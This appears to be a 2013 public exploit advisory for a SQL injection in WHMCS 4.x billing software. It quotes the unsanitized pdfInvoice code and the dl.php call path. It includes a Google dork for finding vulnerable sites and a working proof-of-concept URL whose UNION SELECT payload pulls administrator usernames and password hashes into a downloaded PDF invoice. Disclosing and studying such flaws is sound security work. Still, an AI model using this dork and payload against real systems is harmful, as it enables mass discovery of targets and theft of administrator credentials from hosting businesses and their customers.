WHMCS 4.x SQL Injection Vulnerability

# Title: WHMCS 4.x SQL Injection Vulnerability
# Google Dork: intext:"Powered by WHMCompleteSolution" OR inurl:"submitticket.php‎"‎
# Author: Ahmed Aboul-Ela
# Contact: Ahmed.Aboul3la[at]gmail[dot]com
# Date: 14/5/2013
# Vendor: http://www.whmcs.com
# Version: 4.5.2 and perior versions should be affected too
# Tested on: Linux

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 Sql Injection Vulnerability in "/includes/invoicefunctions.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    - Vulnerable Code Snippet :
   
      LINE 582: function pdfInvoice($id)
      LINE 583: {
      LINE 686: if ($CONFIG['GroupSimilarLineItems'])
      LINE 687: {
      LINE 688: $result = full_query('' . 'SELECT COUNT(*),id,type,relid,description,amount,taxed FROM tblinvoiceitems WHERE invoiceid=' . $id . ' GROUP BY `description`,`amount` ORDER BY id ASC');
      LINE 689: }
     
     As we can see here the $id argument of pdfInvoice function have been used directly at mysql query without any sanitization which leads directly to Sql Injection
     It appears that pdfInvoice function is being called at "/dl.php" file as the following:
   
   
      LINE 21: if ($type == 'i')
      LINE 22: {
      LINE 23: $result     = select_query('tblinvoices', '', array(
      LINE 24: 'id' => $id
      LINE 25: ));
      LINE 26: $data       = mysql_fetch_array($result);
      LINE 27: $invoiceid  = $data['id'];
      LINE 28: $invoicenum = $data['invoicenum'];
      LINE 29: $userid     = $data['userid'];
      LINE 30: if ((!$_SESSION['adminid'] && $_SESSION['uid'] != $userid))
      LINE 31: {
      LINE 32: downloadLogin();
      LINE 33: }
      LINE 34: if (!$invoicenum)
      LINE 35: {
      LINE 36: $invoicenum = $invoiceid;
      LINE 37: }
      LINE 38: require('includes/clientfunctions.php');
      LINE 39: require('includes/countries.php');
      LINE 40: require('includes/invoicefunctions.php');
      LINE 41: require('includes/tcpdf.php');
      LINE 42: $pdfdata = pdfInvoice($id);
      LINE 43: header('Pragma: public');
      LINE 44: header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
      LINE 45: header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
      LINE 46: header('Cache-Control: must-revalidate, post-check=0, pre-check=0, private');
      LINE 47: header('Cache-Control: private', false);
      LINE 48: header('Content-Type: application/octet-stream');
      LINE 49: header('Content-Disposition: attachment; filename="' . $invoicenum . '.pdf"');
      LINE 50: header('Content-Transfer-Encoding: binary');
      LINE 51: echo $pdfdata;
      LINE 52: exit();
      LINE 53: return 1;
      LINE 54: }
     
     
      As we can see at LINE "42" the pdfInvoice function have been called and passed $id Variable without any sanitization
      Afterwards it force the browser to download the generated invoice in PDF format
   
      - Proof of Concept for Exploitation
   
        To Dump Administrator Credentials (user & pass):
     
        http://www.site.com/whmcs/dl.php?type=i&id=1 and 0x0=0x1 union select 1,2,3,4,CONCAT(username,0x3a3a3a,password),6,7 from tbladmins --
     
        ~ Result: The Browser will prompt download for the pdf invoice file after opening it you should find the username and pw hash there :)
       
      - Precondition to Successfully Exploit the Vulnerability:
   
"Group Similar Line Items" Option should be Enabled at the Invoices Settings in the WHMCS Admin ( It should be Enabled by default )

      - Credits:

        Ahmed Aboul-Ela - Information Security Consultant @ Starware Group